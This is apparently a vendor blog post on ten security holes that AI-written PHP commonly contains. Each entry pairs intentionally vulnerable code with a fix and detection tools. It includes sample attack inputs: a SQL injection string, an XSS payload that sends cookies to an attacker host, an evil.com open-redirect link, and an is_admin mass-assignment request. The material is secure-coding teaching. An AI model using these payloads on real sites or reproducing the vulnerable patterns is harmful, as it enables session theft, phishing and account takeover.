10 security holes vibe-coded PHP ships with
The bugs an AI assistant cheerfully writes into your PHP — what each one looks like in code, what to do instead, and what catches it.
None of these are theoretical. They're the patterns we see in real codebases that started life as a Claude / Cursor / Copilot session and never got a second pass. AI assistants are pattern matchers — they reproduce what's most common in their training data, and what's most common online is twenty years of "tutorial PHP" with the same handful of footguns baked in.
Here are the ten failure modes we run into most. Each one gets a code sample of how it looks when it ships, what to do instead, and which tool in the toolkit would have caught it.
- SQL string concatenation
- Forms with no CSRF token
- Echoing user data straight to the page
- Open redirects from user input
- Weak random for security tokens
- No rate limiting on auth endpoints
- Hardcoded secrets in source
- Mass assignment into the database
- Session cookies missing security flags
- unserialize / eval on user input
1. SQL string concatenation
The most-shipped AI security bug. Half the PHP tutorials on the internet build queries with string concatenation, so half the AI-generated PHP does the same. The model isn't being careless — it's reproducing what it saw most often.
What it looks like:
$email = $_POST['email'];
$rows = mysqli_query($conn,
"SELECT * FROM users WHERE email = '" . $email . "'");
Any single quote, semicolon, or comment marker in $email rewrites the query.
' OR 1=1 -- dumps the user table.
What to do instead:
// PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$_POST['email']]);
$rows = $stmt->fetchAll();
// UserSpice's $db wrapper — same idea, less ceremony
$rows = $db->query('SELECT * FROM users WHERE email = ?', [$email])->results();
The trap to watch for: ORDER BY, LIMIT, and table/column names
cannot be bound as parameters. Whitelist those against a fixed list (or cast to
(int)) — don't interpolate user input into the identifier slots.
What catches it: Semgrep (`tainted-sql-string`), Psalm taint analysis, and /userspice-audit Rule 04.
2. Forms with no CSRF token
Assistants tend to assume "the framework handles it" — which is true on Laravel, false on raw PHP, and partially true on most others (it ships the helper, you still have to call it). A form that mutates state without a CSRF token lets any other site silently submit it on behalf of a logged-in user.
What it looks like:
<form method="post" action="delete_account.php">
<button>Delete my account</button>
</form>
// delete_account.php
if (isset($_POST)) {
$pdo->exec("DELETE FROM users WHERE id = " . $_SESSION['user_id']);
}
An attacker hosts <img src="https://yoursite/delete_account.php"> on
another page. Anyone visiting it while logged in just deleted their account.
What to do instead — emit a token on the form, check it on the handler:
// Form
<form method="post">
<?= tokenHere() ?> <!-- emits <input type="hidden" name="csrf" value="..."> -->
<button>Delete my account</button>
</form>
// Handler
if (!Token::check(Input::get('csrf'))) {
usError('Invalid security token.');
Redirect::to($us_url_root . 'account.php');
}
Off UserSpice: generate a token at session start, store it in $_SESSION, emit
it as a hidden input on every state-changing form, hash_equals() it on the
handler. Same pattern, no framework needed.
What catches it: /userspice-audit Rule 03, Semgrep custom rules, manual code review. (Static tools miss this when the token check happens in an included file — be skeptical of a "clean" automated scan that didn't see your shared auth header.)
3. Echoing user data straight to the page
<?= $row->name ?> looks fine on a diff. It's also how every stored XSS
gets shipped. The model doesn't know whether $row->name came from a database
column that an attacker can write to.
What it looks like:
<h1>Welcome, <?= $user['name'] ?></h1> <p>Bio: <?= $user['bio'] ?></p>
If anyone can edit their bio and your render is unescaped, they can ship
<script>fetch('//attacker/?c=' + document.cookie)</script> to every
visitor who views their profile.
What to do instead:
// Plain PHP <h1>Welcome, <?= htmlspecialchars($user['name'], ENT_QUOTES, 'UTF-8') ?></h1> // UserSpice <h1>Welcome, <?= safeReturn($user['name']) ?></h1> // Value going inside a <script> tag, not HTML text <script> const u = <?= safeJsonEncodeForJs($user) ?>; </script>
Three different escaping contexts (HTML text, HTML attribute, JS string) need three
different escapers. htmlspecialchars alone isn't enough when the value lands
inside a <script> tag — a </script> substring in a
string literal terminates the script block.
What catches it: Psalm taint analysis (best in class for this), Semgrep, /userspice-audit Rule 06.
4. Open redirects from user input
Login flow: send the user back where they came from. AI's first draft of that:
header('Location: ' . $_GET['next']);
exit;
Attacker sends a phishing link to https://yoursite.com/login.php?next=//evil.com/fake-login.
User logs in, gets redirected to the fake page, types their password again. You hosted the
phishing infrastructure for them.
Bonus failure mode: %0D%0A in $_GET['next'] can inject CRLF and
add arbitrary headers (set cookies, smuggle responses) depending on how PHP and the front-end
proxy handle it.
What to do instead:
// Plain PHP — whitelist
$allowed = ['/account', '/dashboard', '/'];
$next = in_array($_GET['next'] ?? '', $allowed, true) ? $_GET['next'] : '/';
header('Location: ' . $next);
exit;
// UserSpice — same-origin sanitizer
Redirect::sanitized(Input::get('next'), null, 302, ['same_origin' => true]);
What catches it: Semgrep (`tainted-redirect`), /userspice-audit Rule 07.
5. Weak random for security tokens
Password reset tokens, magic-link tokens, "remember me" cookies — all need a CSPRNG (a cryptographically secure random source). AI's first draft is almost always one of these:
$token = md5(uniqid()); // uniqid is clock-derived; an attacker who knows the second knows the token
$token = md5(mt_rand()); // mt_rand is not a CSPRNG
$token = bin2hex(str_shuffle('abcdef0123456789')); // str_shuffle ranges over a tiny space
$token = substr(md5(rand()), 0, 16);
All four are guessable in practical time. Real password-reset tokens generated this way have been cracked in the wild.
What to do instead:
// Plain PHP $token = bin2hex(random_bytes(32)); // 64 hex chars, real CSPRNG // UserSpice $token = Hash::unique();
random_bytes() has been in PHP since 7.0. There is no good reason to use any of
the alternatives for a security context.
What catches it: Semgrep, /userspice-audit Rule 08, Psalm via custom taint annotations on weak-random sinks.
Recognising any of these in your own code? The Security Scanner runs the rules that catch them, locally and in containers. The AI Prompts plugin stops your assistant from writing them in the first place. Or skip down to the form and we'll do a hands-on audit.
6. No rate limiting on auth endpoints
AI happily writes login.php that password_verifys the input and
sets a session. What it skips: the part that throttles after N failed attempts. Credential
stuffing against an un-rate-limited login is one of the most reliable account-takeover
paths there is.
What it looks like:
$user = $pdo->query("SELECT * FROM users WHERE email = '" . $email . "'")->fetch();
if ($user && password_verify($_POST['password'], $user['password_hash'])) {
$_SESSION['user_id'] = $user['id'];
}
// no failure tracking, no lockout, no exponential backoff
(Also note this snippet has the SQL injection from #1 — these don't ship one at a time.)
What to do instead — track attempts by IP and by identifier (email/username) so an attacker can't dodge by rotating IPs against one account or by spreading across accounts from one IP:
// Plain PHP — store attempts in a table keyed by identifier+ip,
// with a created_at timestamp. Cap at, say, 5 fails in 15 minutes.
// UserSpice — the RateLimit class handles both dimensions
$rl = new RateLimit;
if (!$rl->check('login', ['ip' => Server::getClientIp(), 'email' => $email])) {
http_response_code(429);
die('Too many attempts. Try again later.');
}
// ... attempt the login ...
$rl->record('login', ['ip' => Server::getClientIp(), 'email' => $email], $success);
What catches it: /userspice-audit Rule 10, manual review. (Mechanical scanners struggle here because "no rate limit" is the absence of code, not the presence of bad code.)
7. Hardcoded secrets in source
The fastest way to wire up an API integration is to paste the key directly into the PHP file. AI assistants do this all the time when they don't know your env-var convention. It works locally, gets committed, and now your Stripe key / OpenAI key / database password is in git history forever.
What it looks like:
$STRIPE_KEY = 'sk_live_51HabCdEfGh...'; $DB_PASS = 'production-mysql-password'; $OPENAI_KEY = 'sk-proj-ABCD...';
Even if you later git rm the file, the key is still in the git history. You
have to rotate the key, not just remove the line.
What to do instead:
// Read from environment
$STRIPE_KEY = getenv('STRIPE_KEY')
?: throw new RuntimeException('STRIPE_KEY env var not set');
// Or a gitignored config file outside the webroot
$config = require __DIR__ . '/../config/secrets.php';
$STRIPE_KEY = $config['stripe_key'];
If a key has already shipped to git: rotate it first, scrub history second. "Scrub the history" without rotating just makes you feel better; the key is already compromised the moment it touched a public mirror.
What catches it: Gitleaks (bundled in the scanner) — scans the working tree and the full git history. Trivy catches them in dependency lockfiles.
8. Mass assignment into the database
Convenient one-liner: take the whole $_POST and insert it. AI suggests this
constantly because it looks tidy.
What it looks like:
// Profile-update endpoint
$db->update('users', $userId, $_POST);
// Registration endpoint
$db->insert('users', $_POST);
User submits name=Alice&email=alice@x.com&is_admin=1&permission_id=1
— and now they're an admin. The form didn't have those fields. They didn't need to. The
handler accepted whatever was in $_POST.
What to do instead — explicit field whitelist:
$allowed = ['name', 'email', 'bio', 'avatar_url'];
$fields = array_intersect_key($_POST, array_flip($allowed));
$db->update('users', $userId, $fields);
Or build the array field-by-field with Input::get('name'). Either way, the
principle is: never trust $_POST as a shape; only accept the fields you
explicitly named.
What catches it: Manual code review, mostly. This is one of the hardest patterns to catch with static analysis because the bug is "your whitelist is missing" — invisible without knowing your schema. A custom Semgrep rule can flag $db->insert/update calls that pass $_POST directly.
9. Session cookies missing security flags
session_start() at the top of every page is muscle memory. The
session_set_cookie_params() call that hardens the cookie is not. AI assistants
almost never emit the latter unless asked.
What it looks like:
session_start(); // Cookie is sent with defaults: // no Secure flag (sent over plain HTTP) // no HttpOnly flag (readable by any XSS) // no SameSite (vulnerable to CSRF via top-level navigation)
What to do instead — set the flags before the session starts:
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '', // leave empty for current host only
'secure' => true, // HTTPS only
'httponly' => true, // JS cannot read
'samesite' => 'Lax', // or 'Strict' for state-changing-only flows
]);
session_start();
UserSpice's users/init.php already does this — but plenty of vibe-coded
sites have raw session_start() in their bootstrap and never override the
defaults.
What catches it: ZAP (the headers check flags missing Secure/HttpOnly/SameSite on every cookie), manual review of the bootstrap.
10. unserialize or eval on user input
The greatest hits: an AI that "remembers" PHP's serialize/unserialize pair as
the idiomatic way to pass complex data through a cookie, or that suggests eval()
for a "dynamic expression evaluator."
What it looks like:
$prefs = unserialize($_COOKIE['user_prefs'] ?? 'a:0:{}');
// or
$result = eval('return ' . $_POST['formula'] . ';');
unserialize() on attacker-controlled bytes is a remote code execution channel.
PHP's "magic methods" (__destruct, __wakeup, etc.) fire during
deserialization, and a chain of those across loaded classes is an RCE gadget.
eval() on user input doesn't even need explanation — it's just running their
code.
What to do instead — use JSON for data, and never eval:
// JSON round-trip — safe by construction, no code execution
$prefs = json_decode($_COOKIE['user_prefs'] ?? '{}', true);
// "Dynamic formula" — use a real expression parser, not eval.
// Symfony's ExpressionLanguage component is good. So is a hand-rolled
// shunting-yard for simple arithmetic.
What catches it: Semgrep flags unserialize and eval aggressively; Psalm taint analysis traces user input to either. Both should be HIGH-severity rules in your scanner config.
What to do with this list
If you're vibe-coding and one or two of these caught your eye, the cheapest fix is upstream: stop the assistant from generating them. The AI Prompts plugin drops a folder of agent-readable docs into a UserSpice project that explicitly calls out each of these patterns and the right helper to use. The three Claude Code skills audit, look up helper signatures, and scaffold pages that are already wired correctly.
If the code has already shipped and you want to know what's in there, the Security Scanner runs seven tools in Docker against your project with UserSpice-aware rule packs — Semgrep, Psalm, Trivy, Gitleaks, ZAP, PHPStan, and a headers check. It catches eight of the ten patterns above automatically; the other two (rate limiting and mass assignment) need a human eye.
Or just send us a repo URL and we'll do a hands-on audit. Faster than reading the report yourself if you're already mid-launch.